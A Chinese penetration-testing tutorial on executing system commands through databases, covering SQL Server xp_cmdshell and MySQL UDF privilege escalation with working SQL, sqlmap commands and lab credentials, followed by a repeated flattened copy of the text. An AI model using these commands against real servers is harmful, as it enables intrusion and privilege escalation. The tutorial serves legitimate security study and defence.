数据库系统命令执行
字数 1118 2025-08-18 11:38:52

MySQL与SQL Server数据库命令执行技术详解

前言

在渗透测试中,数据库利用主要分为两种方式:

  1. SQL注入漏洞:配合网站绝对路径可直接获取shell
  2. 数据库弱口令:如phpmyadmin弱口令、数据库连接弱口令

传统方法是在DBA权限下配合网站绝对路径写shell,但绝对路径并非总能获取,导致经常出现登录数据库却无法获取shell的情况。

SQL Server系统命令执行

SQL Server执行系统命令相对简单,主要使用xp_cmdshell组件:

启用xp_cmdshell组件

exec sp_configure 'show advanced options', 1; reconfigure;
exec sp_configure 'xp_cmdshell', 1; reconfigure;

执行系统命令

exec master.dbo.xp_cmdshell 'whoami';

这也是为什么SQL Server注入点在使用sqlmap的os-shell时能直接返回命令行执行的原因。

MySQL系统命令执行

MySQL执行系统命令适用于直接连接数据库的情况,理论上sqlmap的sql-shell也可行,但实际利用中受SQL注入点类型、执行语句和语句长度限制。

UDF提权方式

实验环境:靶机IP 172.16.86.161,root/root

1. 基本信息收集

select @@version;  -- 查看MySQL版本
select @@basedir;  -- 查看MySQL安装路径

2. UDF.dll存放位置规则

  • MySQL版本 > 5.1:必须放在MySQL安装目录的lib\plugin文件夹下
  • MySQL版本 < 5.1
    • Windows 2000:C:\Winnt\udf.dll
    • Windows 2003:C:\Windows\udf.dll

3. 获取UDF.dll文件

sqlmap自带udf.dll文件(位于data/udf目录),但经过异或编码无法直接使用,需使用sqlmap/extra/cloak目录下的cloak.py解码。

文件写入方法

方法一:INTO OUTFILE直接写入

  1. 使用Notepad++打开udf文件,复制内容进行16进制编码
  2. 执行SQL:
select 16进制编码 into outfile 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
  1. 创建sys_eval函数:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
  1. 执行系统命令:
select sys_eval('whoami');

方法二:表内容导出写入

  1. 创建表保存16进制内容:
set @my_udf = concat('', dll16进制);
create table udf_data(data LONGBLOB);
  1. 插入内容:
insert into udf_data values("");
update udf_data set data = @my_udf;
  1. 导出到文件:
select data from udf_data into DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
  1. 创建函数并执行命令:
create function sys_eval returns string soname 'udf.dll';
select sys_eval('whoami');
  1. 使用后删除函数:
drop function sys_eval;

方法三:sqlmap自动写入

sqlmap.py -d "mysql://root:root@172.16.86.161:3306/mysql" --os-shell

常见问题与解决方案

  1. plugin目录不存在

    • 需手动创建,可使用NTFS数据流创建(成功率较低):
    select 'test' into dumpfile 'D:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
    
  2. secure-file-priv限制

    • 高版本MySQL有此参数限制
    • 解决方案:
      1. 修改数据库my.ini配置:
      secure_file_priv=""
      
      1. 重启数据库服务

安全建议

  1. 数据库账户使用强密码
  2. 限制数据库远程访问
  3. 定期更新数据库软件
  4. 禁用不必要的存储过程和函数
  5. 配置适当的文件权限限制

总结

本文详细介绍了在SQL Server和MySQL数据库中执行系统命令的技术方法,特别是MySQL的UDF提权技术。理解这些技术有助于安全人员更好地防御数据库安全风险。

MySQL与SQL Server数据库命令执行技术详解 前言 在渗透测试中,数据库利用主要分为两种方式: SQL注入漏洞:配合网站绝对路径可直接获取shell 数据库弱口令:如phpmyadmin弱口令、数据库连接弱口令 传统方法是在DBA权限下配合网站绝对路径写shell,但绝对路径并非总能获取,导致经常出现登录数据库却无法获取shell的情况。 SQL Server系统命令执行 SQL Server执行系统命令相对简单,主要使用xp_ cmdshell组件: 启用xp_ cmdshell组件 执行系统命令 这也是为什么SQL Server注入点在使用sqlmap的os-shell时能直接返回命令行执行的原因。 MySQL系统命令执行 MySQL执行系统命令适用于直接连接数据库的情况,理论上sqlmap的sql-shell也可行,但实际利用中受SQL注入点类型、执行语句和语句长度限制。 UDF提权方式 实验环境 :靶机IP 172.16.86.161,root/root 1. 基本信息收集 2. UDF.dll存放位置规则 MySQL版本 > 5.1 :必须放在MySQL安装目录的lib\plugin文件夹下 MySQL版本 < 5.1 : Windows 2000:C:\Winnt\udf.dll Windows 2003:C:\Windows\udf.dll 3. 获取UDF.dll文件 sqlmap自带udf.dll文件(位于data/udf目录),但经过异或编码无法直接使用,需使用sqlmap/extra/cloak目录下的cloak.py解码。 文件写入方法 方法一:INTO OUTFILE直接写入 使用Notepad++打开udf文件,复制内容进行16进制编码 执行SQL: 创建sys_ eval函数: 执行系统命令: 方法二:表内容导出写入 创建表保存16进制内容: 插入内容: 导出到文件: 创建函数并执行命令: 使用后删除函数: 方法三:sqlmap自动写入 常见问题与解决方案 plugin目录不存在 : 需手动创建,可使用NTFS数据流创建(成功率较低): secure-file-priv限制 : 高版本MySQL有此参数限制 解决方案: 修改数据库my.ini配置: 重启数据库服务 安全建议 数据库账户使用强密码 限制数据库远程访问 定期更新数据库软件 禁用不必要的存储过程和函数 配置适当的文件权限限制 总结 本文详细介绍了在SQL Server和MySQL数据库中执行系统命令的技术方法,特别是MySQL的UDF提权技术。理解这些技术有助于安全人员更好地防御数据库安全风险。